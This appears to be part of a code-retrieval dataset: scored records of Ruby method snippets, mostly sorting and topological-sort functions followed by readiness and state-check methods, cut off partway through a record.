"docid": "c1e5bc574576c1b1f45f7d11a7358fe3", "score": "0.59943813", "text": "def sort_norm_data\n store.sort_norm_data!\n end", "title": "" }, { "docid": "d2e34790a5f00c7b936666332829e97b", "score": "0.59806395", "text": "def main_sort_copy; end", "title": "" }, { "docid": "623280fdd9074687d39d827d160e6086", "score": "0.59794176", "text": "def sorts_with_links\n [\n [summon_search_cmd('setSortByRelevancy()'), 'Relevance'],\n [summon_search_cmd('setSort(PublicationDate:desc)'), 'Published Latest'],\n [summon_search_cmd('setSort(PublicationDate:asc)'), 'Published Earliest']\n ]\n end", "title": "" }, { "docid": "01dd9d1bfdb6db859382b0d758653d3b", "score": "0.5977507", "text": "def topological_sort(vertices)\n\nend", "title": "" }, { "docid": "01dd9d1bfdb6db859382b0d758653d3b", "score": "0.5977507", "text": "def topological_sort(vertices)\n\nend", "title": "" }, { "docid": "bf5a83d587871fd5b0e375dee9c5fc4c", "score": "0.59753305", "text": "def sort_tp_by_name!\n term_points = sort_tp_by_name\n @term_points = term_points\n end", "title": "" }, { "docid": "502ef792cbb6cd42afcde5fa3ff88255", "score": "0.5966619", "text": "def sort\n nodes.tsort & filenames\n end", "title": "" }, { "docid": "954e538028879d01c17310c72d028ed9", "score": "0.59327567", "text": "def topological_sort_tarjans(vertices)\n sort_data = {\n sorted: [],\n visited: {},\n cycle: false\n }\n # easy to do with Sets\n vertices.each do |vertex|\n visit(vertex, :none, sort_data)\n return [] if sort_data[:cycle]\n end\n\n sort_data[:sorted]\nend", "title": "" }, { "docid": "9059fc75da3d00ce4763003c3249dd08", "score": "0.5932048", "text": "def topsort\n graph = RGL::DirectedAdjacencyGraph.new\n # init vertices\n items = sources\n items.each {|item| graph.add_vertex(item) }\n # init edges\n items.each do |item|\n item.dependencies.each do |dependency|\n # If we can find items that provide the required dependency...\n # (dependency could be a wildcard as well, hence items)\n dependency_cache[dependency] ||= provides_tree.glob(dependency)\n # ... we draw an edge from every required item to the dependant item\n dependency_cache[dependency].each do |required_item|\n graph.add_edge(required_item, item)\n end\n end\n end\n result = []\n if Jsus.look_for_cycles?\n cycles = graph.cycles\n error_msg = []\n unless cycles.empty?\n error_msg << \"Jsus has discovered you have circular dependencies in your code.\"\n error_msg << \"Please resolve them immediately!\"\n error_msg << \"List of circular dependencies:\"\n cycles.each do |cycle|\n error_msg << \"-\" * 30\n error_msg << (cycle + [cycle.first]).map {|sf| sf.filename}.join(\" => \")\n end\n error_msg = error_msg.join(\"\\n\")\n Jsus.logger.fatal(error_msg)\n end\n end\n graph.topsort_iterator.each { |item| result << item }\n result\n end", "title": "" }, { "docid": "a6973ff181ea1ae576bb2884c152ad7a", "score": "0.59228456", "text": "def fudge_order\n ministers.sort_by! {|minister| minister.sort_order }\n end", "title": "" }, { "docid": "1173a2caa7a8475848ba75f483e028cb", "score": "0.59213775", "text": "def topological_sort\n\t\t@explored_nodes = Array.new(vertices.count, false)\n\t\t@current_label = vertices.count\n\t\t@topological_order = Array.new(vertices.count, nil)\n\t\tvertices.count.times do |label|\n\t\t\tdfs_topological_order(label) unless @explored_nodes[label-1]\n\t\tend\n\t\ttopological_order\n\tend", "title": "" }, { "docid": "6714e46e52fb72fdef03ef853b92655a", "score": "0.5921108", "text": "def sort\n dup.sort!\n end", "title": "" }, { "docid": "53d7cdede1cab271d29598b34028f65f", "score": "0.5913864", "text": "def sort_cats(suitable_cats)\r\n suitable_cats.sort_by! {|cat| cat.criteria_matches}\r\n suitable_cats.reverse\r\nend", "title": "" }, { "docid": "65671acfe6f26e838e726263cbc88b67", "score": "0.5901453", "text": "def sort\n @voters = @voters.sort_by(&:name)\n @politicians = @politicians.sort_by(&:name)\n end", "title": "" }, { "docid": "e7b663fbb8195f18a964090afd1c04a0", "score": "0.59011173", "text": "def sort_params; end", "title": "" }, { "docid": "e7b663fbb8195f18a964090afd1c04a0", "score": "0.59011173", "text": "def sort_params; end", "title": "" }, { "docid": "7ca6076ee6789723409405dbca44168a", "score": "0.58677983", "text": "def sort_data\n store.sort_data!\n end", "title": "" }, { "docid": "b109bafa3c0718f5383fefeec9db9878", "score": "0.5866422", "text": "def sort_antpols(a)\n a.sort_by {|e| e =~ PATTERNS['antpol']; [$1.to_i, $2]}\n end", "title": "" }, { "docid": "b2dd52de5281507e0eed363db0e762b2", "score": "0.58609354", "text": "def sort_by_path_column ( to_sort, order_dir )\n to_sort.sort { |x,y| sort(x,y, order_dir ) }\n end", "title": "" }, { "docid": "5094a47523245dca82bc2367476d2cc9", "score": "0.58583486", "text": "def apply_sorting(arel, sort)\n case sort\n when \"created_asc\" then arel.oldest\n when \"created_desc\" then arel.newest\n when \"updated_asc\" then arel.stagnant\n when \"updated_desc\" then arel.lively\n else\n arel.lively\n end\n end", "title": "" }, { "docid": "909cb596527036a10c2f58bba9c33eed", "score": "0.58512306", "text": "def sort_using_rank\n score.arranged_hand\n end", "title": "" }, { "docid": "b53813ccd0b3cb6a498f8b58151a8f41", "score": "0.5845354", "text": "def sort(x)\n x.sort\n end", "title": "" }, { "docid": "396f2144345bfbcf4f56904d1134de76", "score": "0.584426", "text": "def sort_text; end", "title": "" }, { "docid": "f2950a121aa1853a80c5e016a20c211c", "score": "0.5842569", "text": "def topological_sort\n\t$vertices.each do |vertex_id, info|\n\t\tvertex = $vertices[vertex_id]\n\t\tif !vertex[:seen]\n\t\t\tdfs_visit_sort(vertex, vertex_id)\n\t\tend\n\tend\nend", "title": "" }, { "docid": "99d6fa8c282ac576b1775a8f63b78d19", "score": "0.58391553", "text": "def sort\n shifter = :datapoints\n sorted = super\n sorted[shifter] = sorted.delete(shifter)\n sorted\n end", "title": "" }, { "docid": "bdba3b831fdbce7e9c7fa8a0e492a132", "score": "0.5838458", "text": "def sorted_by_rank(collection)\n collection.sort{|x, y| [y.last, x.first] <=> [x.last, y.first] }\n end", "title": "" }, { "docid": "76c8a10cd608b489daa9fdc6705da22e", "score": "0.5836367", "text": "def sort \n nu_hash = {}\n roster.each do |x, y| \n nu_hash[x] = y.sort \n end \n nu_hash\n end", "title": "" }, { "docid": "80d6855b536dd3bf55889293d1001830", "score": "0.5832335", "text": "def apply_sorting\n if spec = criteria.options[:sort]\n in_place_sort(spec)\n end\n end", "title": "" }, { "docid": "80d6855b536dd3bf55889293d1001830", "score": "0.5832335", "text": "def apply_sorting\n if spec = criteria.options[:sort]\n in_place_sort(spec)\n end\n end", "title": "" }, { "docid": "054a2fbd551f12c08b59c5d04240c6fd", "score": "0.58302486", "text": "def sort!\n collection.sort_by!(&:name)\n end", "title": "" }, { "docid": "054a2fbd551f12c08b59c5d04240c6fd", "score": "0.58302486", "text": "def sort!\n collection.sort_by!(&:name)\n end", "title": "" }, { "docid": "dda0db4f1baad15c4bd88dd997a76882", "score": "0.582995", "text": "def ordenar_arreglo array\n array.sort\nend", "title": "" }, { "docid": "01f5034da528b2c7c389aaab44128ee0", "score": "0.582959", "text": "def reverse_sort\n dup.rsort!\n end", "title": "" }, { "docid": "2c1e6b3fd6c7489d9a00bc387cf35602", "score": "0.58277035", "text": "def sort_by_path_column! ( to_sort, order_dir )\n to_sort.sort! { |x,y| sort(x,y, order_dir ) }\n end", "title": "" }, { "docid": "f364326efc9fde150198e48078f0daa6", "score": "0.58233154", "text": "def sort\n @sorted = []\n movie = {}\n @sorted << movie[@title] = @score\n current_node = node\n binding.pry\n\n if node.left.nil? && (sorted include?(node.rating) == false)\n movie = {node.title => node.rating}\n @sorted << movie\n else\n node.left.sort(current_node.rating, @sorted)\n end\n\n if node.right.nil? && (sorted include?(node.rating) == false)\n movie = {node.title => node.rating}\n @sorted << movie\n else\n node.right.sort(current_node.rating, @sorted)\n end\n return @sorted\n end", "title": "" }, { "docid": "819cf23a46a3c53ae9c2d3c2447234ad", "score": "0.58226055", "text": "def sort_tp_by_name\n @term_points.sort do |tp_a, tp_b|\n ret = tp_a.name.casecmp(tp_b.name)\n ret.zero? ? tp_a.name <=> tp_b.name : ret\n end\n end", "title": "" }, { "docid": "c1afd9bc9dcaee7671124b6ba80692df", "score": "0.5820886", "text": "def sort_jugglers(circuit_jugglers)\n circuit_jugglers.each do |course, jugglers|\n sorted_jugglers = jugglers.sort! do |x,y|\n # get x juggler's score\n jug_x_score = x[:scores][y[:current_pref]].values[0]\n # get y juggler's score\n jug_y_score = y[:scores][y[:current_pref]].values[0]\n\n # if the scores are equal, the juggler who's preference for this course\n # is higher wins\n if jug_y_score == jug_x_score \n y[:current_pref] <=> x[:current_pref]\n else\n jug_y_score <=> jug_x_score\n end\n end\n end\n end", "title": "" }, { "docid": "dbd0753febd3eeea44c491e8211fafa6", "score": "0.58146054", "text": "def sort_rankings(teams_array_w_record)\n rec_sort_rankings(teams_array_w_record, [])\nend", "title": "" }, { "docid": "eda40514fd74e47d36ca8e158f58ce5a", "score": "0.5783694", "text": "def sort_fringe(sorting_method = ->(a, b){ a <=> b } )\n @fringe.sort! { |a, b| sorting_method.call(a, b) }\n end", "title": "" }, { "docid": "8bfef838748fc66363e590d8249dcc2e", "score": "0.5779535", "text": "def sort\n node = self.dup\n node.sort!\n end", "title": "" }, { "docid": "af3b54be23a0f8a711e52558a94bb7a2", "score": "0.5775568", "text": "def sort!\n unless sorted?\n remove_replaced_files!\n self.sources = topsort\n @sorted = true\n end\n self\n end", "title": "" }, { "docid": "9270d58bda4eade2e282d99912689e9c", "score": "0.577132", "text": "def graph_sorted\n pieces.sort do |piece, other_piece|\n if piece.y == other_piece.y\n piece.x <=> other_piece.x\n else\n other_piece.y <=> piece.y\n end\n end\n end", "title": "" }, { "docid": "8e77fe7b08a0f9918931c8551f5dad3e", "score": "0.57672405", "text": "def sorted_oaths\n self.oaths.sort_by{|oath| oath.membership_level}.reverse\n end", "title": "" }, { "docid": "5912ae9f9fe80a980dbe138895db4ee1", "score": "0.57543796", "text": "def sort_stapols(a)\n a.sort_by {|e| e =~ PATTERNS['stapol']; [$1, $2.to_i, $3]}\n end", "title": "" }, { "docid": "42d2566d1dfd7495fd9395612660e386", "score": "0.575401", "text": "def resort\r\n @ls.set_sort_column_id(0)\r\n @ls.set_sort_func(0, &lambda{|iter1, iter2|\r\n item_id_1 = iter1[1].to_i\r\n item_id_2 = iter2[1].to_i\r\n \r\n item_name_1 = iter1[0].to_s.downcase\r\n item_name_2 = iter2[0].to_s.downcase\r\n \r\n if item_id_1 == 0\r\n return -1\r\n elsif item_id_2 == 0\r\n return 1\r\n else\r\n return item_name_1 <=> item_name_2\r\n end\r\n })\r\n end", "title": "" }, { "docid": "64395beadaf564e9e733431c8f631a47", "score": "0.5749391", "text": "def sort\n # Ist bereits sortiert!\n return self\n end", "title": "" }, { "docid": "96f19c48ec52fd5748151a4b674e4ee9", "score": "0.57459754", "text": "def sort_rules\n @rules.sort_by! { |rule| [rule.priority, rule.name] } \n end", "title": "" }, { "docid": "7123111b302c41b69671d6b66ede9752", "score": "0.5742175", "text": "def sort_references(res, config = nil)\n vo = config || option_type_config&.view_options&.dig(:sort_references)\n return res unless vo\n\n smr = vo[:attribute]\n return res unless smr\n\n smr = smr.to_sym\n sdir = vo[:direction]\n keep_top = vo[:keep_top]\n\n top_item = res.delete_at(0) if keep_top\n res = res.sort_by { |a| a[smr] }\n res = res.reverse if sdir&.in?(['desc', 'reverse'])\n res.insert(0, top_item) if top_item\n\n res\n end", "title": "" }, { "docid": "74b9973aff033a27f44b0f56a1937126", "score": "0.57403773", "text": "def resort_array\n @target.sort! {|x,y| x[position_column].to_i <=> y[position_column].to_i} if @target\n end", "title": "" }, { "docid": "62421e7f3f78a81cbf8ffef5867c5775", "score": "0.5740017", "text": "def sort\n return NodeNary.make(@op,*@children.sort_by {|child| child.to_sym })\n end", "title": "" }, { "docid": "cf87fa7448b7c20f6f13dbd201eac246", "score": "0.57332414", "text": "def sort\n roster.each do |grade, names|\n names.sort!\n end\n end", "title": "" }, { "docid": "0358a08d1bbf80a164aac589564d51af", "score": "0.5728398", "text": "def pre_sort(unsorted, sorted) \n \n return sorted if unsorted.length <= 0\n \n parked_arr = []\n parked = unsorted.pop\n\n unsorted.each do |item| \n if item < parked\n parked_arr.push parked\n parked = item\n else\n parked_arr.push item\n end \n end\n\n sorted << parked\n pre_sort(parked_arr, sorted)\nend", "title": "" }, { "docid": "67a73f6f52b9061271d3639774720e3f", "score": "0.5723801", "text": "def tsort_each_child(n, &b) @neighbors_list[n].each(&b) end", "title": "" }, { "docid": "1460f79d793d0b2aa47d5b12a5160f94", "score": "0.5720504", "text": "def topsort(start = nil, &block)\r\n result = []\r\n go = true \r\n back = Proc.new {|e| go = false } \r\n push = Proc.new {|v| result.unshift(v) if go}\r\n start ||= vertices[0]\r\n dfs({:exit_vertex => push, :back_edge => back, :start => start})\r\n result.each {|v| block.call(v)} if block; result\r\n end", "title": "" }, { "docid": "bf6d26bfcd1a77b88c143e8d03a675cc", "score": "0.57177", "text": "def sort_params=(_arg0); end", "title": "" }, { "docid": "bf6d26bfcd1a77b88c143e8d03a675cc", "score": "0.57177", "text": "def sort_params=(_arg0); end", "title": "" }, { "docid": "dd27065dd3daad7549d5bbfefcd6c43d", "score": "0.5717539", "text": "def sort(objects)\n objects.sort\nend", "title": "" }, { "docid": "5b159278a929a17dd4c77894725a94ea", "score": "0.5716075", "text": "def sort\n to_a.map { |line| vector.transform(line) }\n end", "title": "" }, { "docid": "e2c70f1e7403e8e909810b8ec62ed751", "score": "0.5714256", "text": "def test_sort_by\n assert_equal [9, 3, 2], @triple.sort_by { |e| -e }\n end", "title": "" }, { "docid": "4aad4204a9e04cc12275caca839eff7a", "score": "0.5704055", "text": "def sort!()\n @results.each_value do |jobs|\n jobs.sort! do |x , y|\n d_x = Date.parse(posting_date(x))\n d_y = Date.parse(posting_date(y))\n d_y <=> d_x\n end\n end\n end", "title": "" }, { "docid": "4dc1df79d37cdc50079add54760c36dc", "score": "0.56925106", "text": "def visit_order_operation(order)\n assign_first_time(:@sort, order) do\n Literal.sort(order.directions)\n end\n end", "title": "" }, { "docid": "520be8bdcb5ce91023dcd3b5619197a0", "score": "0.56901884", "text": "def sort!\n @events.sort!\n\n self\n end", "title": "" } ]
f2dfd8842c04ee973394cbf5077a1db7
Tell if the tree is ready to battle
[ { "docid": "3e5d7c282f65e6b77f1a7054a2abcb86", "score": "0.0", "text": "def can_battle?(id)\n has_pokemon?(id) && (Graphics.current_time - get(id)[:slather_time]) > WAIT_TO_BATTLE\n end", "title": "" } ]
[ { "docid": "897c8ffca6f0e3e37736f37215889e71", "score": "0.6678347", "text": "def ready?\n state == RUNNABLE_STATE\n end", "title": "" }, { "docid": "1678a67d131091f7bb573f42fdd299f9", "score": "0.6674196", "text": "def ready?\n self.state == :ready\n end", "title": "" }, { "docid": "f8c57932521896feaafe2d167c95a22e", "score": "0.6671521", "text": "def ready?\n state == :READY\n end", "title": "" }, { "docid": "f8c57932521896feaafe2d167c95a22e", "score": "0.6671521", "text": "def ready?\n state == :READY\n end", "title": "" }, { "docid": "f8c57932521896feaafe2d167c95a22e", "score": "0.6671521", "text": "def ready?\n state == :READY\n end", "title": "" }, { "docid": "f8c57932521896feaafe2d167c95a22e", "score": "0.6671521", "text": "def ready?\n state == :READY\n end", "title": "" }, { "docid": "f8c57932521896feaafe2d167c95a22e", "score": "0.6671521", "text": "def ready?\n state == :READY\n end", "title": "" }, { "docid": "1d163de9d29c8995172067182f0d3804", "score": "0.6657747", "text": "def ready?\n @status == :ready\n end", "title": "" }, { "docid": "f2a2512a6c0be984cdd343f8aaf809ff", "score": "0.6626313", "text": "def ready?\n @ready == true\n end", "title": "" }, { "docid": "22d47b1af7e5facdbf57671d549882c5", "score": "0.6595419", "text": "def ready?\n status == DONE_STATE\n end", "title": "" }, { "docid": "13c7f6c682695ad5193b1d97ebaeb73e", "score": "0.65815896", "text": "def ready?\n @is_ready\n end", "title": "" }, { "docid": "28ee5daee9b0387a98601279c9c6fae4", "score": "0.65576535", "text": "def wait_until_ready\n\t\t\t\twhile true\n\t\t\t\t\tConsole.logger.debug(self) do |buffer|\n\t\t\t\t\t\tbuffer.puts \"Waiting for ready:\"\n\t\t\t\t\t\t@state.each do |child, state|\n\t\t\t\t\t\t\tbuffer.puts \"\\t#{child.class}: #{state.inspect}\"\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\tself.sleep\n\t\t\t\t\t\n\t\t\t\t\tif self.status?(:ready)\n\t\t\t\t\t\treturn true\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend", "title": "" }, { "docid": "96ee0535d2714322998a9eefa0c30316", "score": "0.64829755", "text": "def readyable?\n readyable\n end", "title": "" }, { "docid": "821b5bba10a68bf9d41565c2e9251b7f", "score": "0.6465517", "text": "def ready?\n running?(status) && running?(phase)\n end", "title": "" }, { "docid": "f8ac76d4db793b58b6e977d2e1d089d7", "score": "0.6438319", "text": "def ready?\n true\n end", "title": "" }, { "docid": "17b0cbaf858ff9251b4e70f5e653037e", "score": "0.6387791", "text": "def ready?\n end", "title": "" }, { "docid": "a8cde403dfc45c5d2550a3f75fcd9c03", "score": "0.6384324", "text": "def busy?\n BusyPhases.any? {|phase| battle_phase == phase }\n end", "title": "" }, { "docid": "6ba9189f469c06513c6dbe2dd2fdd281", "score": "0.63715136", "text": "def ready?\n\t\t\t\t\tfalse\n\t\t\t\tend", "title": "" }, { "docid": "a443f4c870f91d679a9ccc7a3a1971bf", "score": "0.6364499", "text": "def ready?\n return (self.select(0) != 0)\n end", "title": "" }, { "docid": "000497316a998398d19e0aaeee02ba1e", "score": "0.63509053", "text": "def trigger_king_rock?\n return data.status != 7\n end", "title": "" }, { "docid": "7fb694bbb8bacf72acbe92d5f12ecb1a", "score": "0.63294095", "text": "def ready?\n return (@delay <= 0)\n end", "title": "" }, { "docid": "d44d6ceb37db03d8cfb6586e2a5e3dd9", "score": "0.63164663", "text": "def is_ready?\n return @ready\n end", "title": "" }, { "docid": "05a09686cf4ac5b0a0fb7ed6040993fa", "score": "0.6299513", "text": "def construction_in_progress?\n !!@node[\"building_construction\"]\n end", "title": "" }, { "docid": "0ed823b180d8a475471acc6ce52bb398", "score": "0.6276872", "text": "def is_ready\n if self.tasks.empty? and not self.is_done # no tasks assigned for this\n false\n elsif (self.tasks.find_by is_done: false).nil? # can't find any false => all tasks are done\n self.update_attribute(:is_done, true)\n true\n else\n false\n end\n end", "title": "" }, { "docid": "0da90059ce5442c013bd11bb4bc53175", "score": "0.62711865", "text": "def ready?\n @latch.count == 0\n end", "title": "" }, { "docid": "03410f50bdbb4852683a6be61dff15f7", "score": "0.6263222", "text": "def busy?\n @battler && BusyPhases.any? do |phase|\n phase == @battler.battle_phase\n end && !@battler.finish || (@battler && @battler.moving?)\n end", "title": "" }, { "docid": "3eb2de651508cdc099c72c093917d34b", "score": "0.62608665", "text": "def _ready?\n true\n end", "title": "" }, { "docid": "db789370ee935259c02f92572608c9d6", "score": "0.62155706", "text": "def ready?\n write_to_engine('isready')\n read_from_engine == \"readyok\"\n end", "title": "" }, { "docid": "77952616688d5974d571e3b123f22f80", "score": "0.6213592", "text": "def busy?\n online? and presence.show == :dnd\n end", "title": "" }, { "docid": "64b4f893e37009bd5ec2d09e54c1c4fd", "score": "0.6207137", "text": "def ready?\n !@needs_reset && @start && @end\n end", "title": "" }, { "docid": "834a8f3536a70fbdd661b397dbf9afd9", "score": "0.6182141", "text": "def ready?\n status == \"RUNNING\"\n end", "title": "" }, { "docid": "de3e9ef99e020732f36189cb24bc01c3", "score": "0.6175715", "text": "def ready?\n true\n end", "title": "" }, { "docid": "e0eade6ff8703fbc5a8764183727c825", "score": "0.61651796", "text": "def run_on_busy_tb?\n $game_message.busy?\n end", "title": "" }, { "docid": "87ac430a574b7405f01a0fe95dcd5dd2", "score": "0.61368185", "text": "def ready?\n return _ready?\n rescue\n return false\n end", "title": "" }, { "docid": "466427ec93ddae0f637c92d1bc0a625f", "score": "0.61230755", "text": "def finished?\n go_fish.over?\n end", "title": "" }, { "docid": "d82f1e99d0d23547d29e3ce40de0c76f", "score": "0.61079824", "text": "def ready?(ready_state=RUNNING)\n state == ready_state\n end", "title": "" }, { "docid": "bed783c40ea514cb5fb2da14908d245c", "score": "0.61025226", "text": "def starvation?()\n\n @hunger_counter >= @starvation_level\n end", "title": "" }, { "docid": "3d68cf5cd35f65e50f0196cf1ee866c4", "score": "0.60947007", "text": "def complete?\n self.state == 'complete'\n end", "title": "" }, { "docid": "b747ddaa9416e79cf8e18a19bb56bb41", "score": "0.6093847", "text": "def waiting?\n @waiting\n end", "title": "" }, { "docid": "2ec048767b9943a317439cdb9615617f", "score": "0.6072857", "text": "def ready?\n # TODO: Not sure if this is the only state we should be matching.\n state == \"Detached\"\n end", "title": "" }, { "docid": "5f463e067b259e9d2331c3034848485c", "score": "0.6072268", "text": "def relevant?\n existing_subtree_players.size > 0\n end", "title": "" }, { "docid": "f64918cbb68d31d4f23347c7f224110b", "score": "0.60610646", "text": "def is_done\n return @stand\n end", "title": "" }, { "docid": "8ccc08af659bb2685f2910cbda5e9047", "score": "0.6042949", "text": "def isReady?\n self.plan_parts.each do |part|\n if !part.isReady?\n return false\n end\n end\n return true\n end", "title": "" }, { "docid": "a44eb6abdb806da163929c220629f3e3", "score": "0.6033364", "text": "def reachable?\n @state['reachable']\n end", "title": "" }, { "docid": "90c7821fcf59be48866482e690b94d3b", "score": "0.6031942", "text": "def waiting?\n @waiting\n end", "title": "" }, { "docid": "2c80b5761fd78b14721a9168ce05b29c", "score": "0.6025415", "text": "def alive?\n nodes.map(&:state).all?{ |state| state == :running }\n end", "title": "" }, { "docid": "294447b181a220683dc9dcb704db9d2e", "score": "0.6015993", "text": "def ready?\n # In test, we're always ready :-)\n return true if ENV['INSTANA_GEM_TEST']\n\n @state == :announced\n end", "title": "" }, { "docid": "519233c67558b00c5886e14385636649", "score": "0.6007962", "text": "def won?\n won_checker\n end", "title": "" }, { "docid": "e6a89da62243660c5e0e3a07931ef02b", "score": "0.5997782", "text": "def complete?\n end", "title": "" }, { "docid": "707c6bc5556d7f258cd514e494112938", "score": "0.59948695", "text": "def ready?\r\n not select(0) == 0\r\n end", "title": "" }, { "docid": "eb02cc6ef5fa3525ebe5aaca4a51ec0a", "score": "0.59907734", "text": "def check_for_a_bomb\n warrior.listen.each do |unit|\n if Captives.include? unit.to_s.to_sym and unit.ticking?\n return true\n end\n end\n return false\n end", "title": "" }, { "docid": "75bdc4c2a015d733e3ee1c92b6e304b2", "score": "0.5981136", "text": "def won?\n @state.id == 14\n end", "title": "" }, { "docid": "ec5b5f46d82a737ce5866c6738cd77cf", "score": "0.5977049", "text": "def reachable?\n state[\"reachable\"]\n end", "title": "" }, { "docid": "dd49839faaa8871ab039a15b8f3a5f1b", "score": "0.5972094", "text": "def healthy?\n %w(run sleep).include?(@transmitter.status)\n end", "title": "" }, { "docid": "3f216f2abeb664ff9ef6fcc19260d1fc", "score": "0.59681344", "text": "def isNodeReady(node)\n cougaar_node = nil\n if node.kind_of?(String)\n\tcougaar_node = @run.society.nodes[node]\n else\n\tcougaar_node = node\n end\n if cougaar_node == nil\n\t@run.error_message(\"No known node #{node} to look for.\")\n\treturn(true)\n else\n\tcougaar_node.each_agent do |agent|\n\t # If any agent on the node is not ready, then the node is not ready\n\t # Only require this for\n\t # agents that have an SDClientPlugin or ALDynamicSDClientPlugin\n\t hasPI = false\n\t agent.each_component do |comp|\n\t if ((@useSD && /SDClientPlugin/.match(comp.classname)) || (!@useSD && /GLSExpanderPlugin/.match(comp.classname)))\n#\t @run.info_message(\"Agent #{agent.name} had SDClient: #{comp.name}\")\n\t hasPI = true\n\t break\n\t end\n\t end\n\t if (hasPI && ! isAgentReady(agent))\n#\t @run.info_message(\"At least one agent (#{agent.name}) not ready yet.\")\n\t return (false)\n\t end\n\tend\n\t# No agent was not ready, so the node is ready\n\treturn true\n end # end of else block to actually check the node\n end", "title": "" }, { "docid": "a907433694e69b262c438624ae28179f", "score": "0.5967185", "text": "def complete?\n chosung.nil? == false && jungsung.nil? == false\n end", "title": "" }, { "docid": "eee046b64da6b3b3612315789887ca0b", "score": "0.5954713", "text": "def ready_to_bill?\n status == READY\n end", "title": "" }, { "docid": "ff4e8d9a4572132bb84affea675e7a38", "score": "0.59449697", "text": "def skill_busy?\n @battler && (BusyPhases - [:collapse]).any? do |phase|\n phase == @battler.battle_phase\n end && !@battler.finish || (@battler && @battler.moving?)\n end", "title": "" }, { "docid": "0ab371b6a2864eb14b44ce1b638e0c9a", "score": "0.5934604", "text": "def waiting\r\n\t\twaiting = 0\r\n\r\n\t\tfloor_list.each do |floor|\r\n\t\t\twaiting = waiting + floor.people_waiting\r\n\t\tend\r\n\r\n\t\tif waiting > 0\r\n\t\t\treturn true\r\n\t\telse\r\n\t\t\treturn false\r\n\t\tend\r\n\tend", "title": "" }, { "docid": "db286a0f7515f3e4fdd710a4bec72fee", "score": "0.59330916", "text": "def done?\n # legal_moves(state).empty?\n # Try to speed up by disregarding possibility of draw\n false\n end", "title": "" }, { "docid": "4a7da95a84e728e9a05cd99037f5c6bd", "score": "0.59258157", "text": "def reachable?; @state[\"reachable\"]; end", "title": "" }, { "docid": "72f56dae4385d887f7d6a979e03dd97a", "score": "0.59242964", "text": "def ready?\n !!defined? @result\n end", "title": "" }, { "docid": "1c7fb3b4e6f92222c434c079a8488fdf", "score": "0.592332", "text": "def computer_opens_game\n @avail_moves.length == 8 && @depth == 1 ? true : false\n end", "title": "" }, { "docid": "245a3fcb1980a4bf94484e67e0c2be66", "score": "0.5922889", "text": "def ready?\n return false unless @status =~ /down/i\n volumes.each do |volume|\n return false if volume.status =~ /locked/i\n end\n true\n end", "title": "" }, { "docid": "bae78b6ed0f49585d789b6d48cd478fc", "score": "0.59173185", "text": "def is_complete?\n if self.state == COMPLETE\n self.children.each do |child|\n if !child.is_complete?\n return false\n end\n end\n return true\n\n else\n return false\n end\n end", "title": "" }, { "docid": "453f8c4feadec5f9890b53241eaf23fc", "score": "0.591388", "text": "def archers_ready(archers)\n archers.empty? ? false : archers.all?{ |x| x >= 5 }\nend", "title": "" }, { "docid": "5cc5c58122fbf723bb79b7576e8dd9f2", "score": "0.59129924", "text": "def waiting?\n @waiting.set?\n end", "title": "" }, { "docid": "6b378b116ab788ea2a91cfc597a27d07", "score": "0.59069586", "text": "def waiting_for_response_tb?\n true # done waiting during scene_map otherwise need to wait\n end", "title": "" }, { "docid": "497af5cd00d54a03f78eae4c614cc0b6", "score": "0.5903166", "text": "def ok?\n @stack.stack_status == 'CREATE_COMPLETE' ||\n @stack.stack_status == 'UPDATE_COMPLETE'\n end", "title": "" }, { "docid": "0527c2be0ebc36f066b33b2f99ac0728", "score": "0.59000057", "text": "def busy?\n @busy\n end", "title": "" }, { "docid": "0527c2be0ebc36f066b33b2f99ac0728", "score": "0.59000057", "text": "def busy?\n @busy\n end", "title": "" }, { "docid": "1156bedab56b917b5c6f80e2d9bedcc5", "score": "0.5899504", "text": "def ready?\n running? && @event_received\n end", "title": "" }, { "docid": "c777d0a5d8253560929fb77b0eb21374", "score": "0.5898145", "text": "def ready?\n\t\t$stderr.puts \"#{@name}: ready? not overridden!\"\n\tend", "title": "" }, { "docid": "28df98f1f76af188bcee819a224e81ca", "score": "0.58868456", "text": "def ready_status\n 'ready' if notification\n end", "title": "" }, { "docid": "66a1521aaf752b326d704ca49a685c5d", "score": "0.5885993", "text": "def ready?\n raise(\"Called #{self.class.name}.ready?\")\n end", "title": "" }, { "docid": "4c1bb23488eb990e20489cb5f2d82f7e", "score": "0.58807486", "text": "def complete?\n return state == \"complete\"\n end", "title": "" }, { "docid": "0a3ca409e01705cc9d288b52994bd92d", "score": "0.58785504", "text": "def ready?\n inslots.values.all?{|inslot| queues[inslot.name].length > 0 }\n end", "title": "" }, { "docid": "58f698c66af43f48e967cf2d0c5821dd", "score": "0.5875045", "text": "def ready?; @ready; end", "title": "" }, { "docid": "58f698c66af43f48e967cf2d0c5821dd", "score": "0.5875045", "text": "def ready?; @ready; end", "title": "" }, { "docid": "e89064a4c2b370130bf22f0efaa25919", "score": "0.5874479", "text": "def waiting_registry?\n status == 'waiting_registry'\n end", "title": "" }, { "docid": "7fede337d019838a562abae14e51bd8b", "score": "0.5870884", "text": "def occasion_ok?(item)\r\n $game_party.in_battle ? item.battle_ok? : item.menu_ok?\r\n end", "title": "" }, { "docid": "ea3a0c1fbbc00b2f57354e3633a6a23f", "score": "0.58558923", "text": "def alive?\n\t\t\t@battery.nil? || @battery > 0\n\t\tend", "title": "" }, { "docid": "8279a5599590f8887c9a290792f2e4f8", "score": "0.58527327", "text": "def alive?()\n\n @hunger_counter < @hunger_limit\n end", "title": "" }, { "docid": "8d3c002736b2f0096f90bac8956e8348", "score": "0.5850975", "text": "def in_battle?\n Game_Temp.in_battle\n end", "title": "" }, { "docid": "85c27cc688e4b84d031a35f3bafe35a7", "score": "0.5841838", "text": "def ready_to_begin?\n @game.players.size == @limit\n end", "title": "" }, { "docid": "9bf4b1a9f855d53852d228678d7dc7b0", "score": "0.5839148", "text": "def ready_to_schedule?(node)\n # Ready to globally schedule\n\n node.outputs.to_nodes.all? do |i|\n globally_scheduled?(i)\n end\n end", "title": "" }, { "docid": "d322f5520e40e0d61990fc008337dcfb", "score": "0.5838516", "text": "def all_nodes_ready?\n if current_platform_spec.nodes.nil?\n false\n else\n true\n end\n end", "title": "" }, { "docid": "e13b5365d967e351e8451f8406678aaf", "score": "0.5822933", "text": "def available?\n idle.any?\n end", "title": "" }, { "docid": "7d077ab36368d1c1167822c1f7473d6d", "score": "0.5814953", "text": "def complete?\n complete == true\n end", "title": "" }, { "docid": "d894d2b2b136bbec95d076d666e90170", "score": "0.58097047", "text": "def 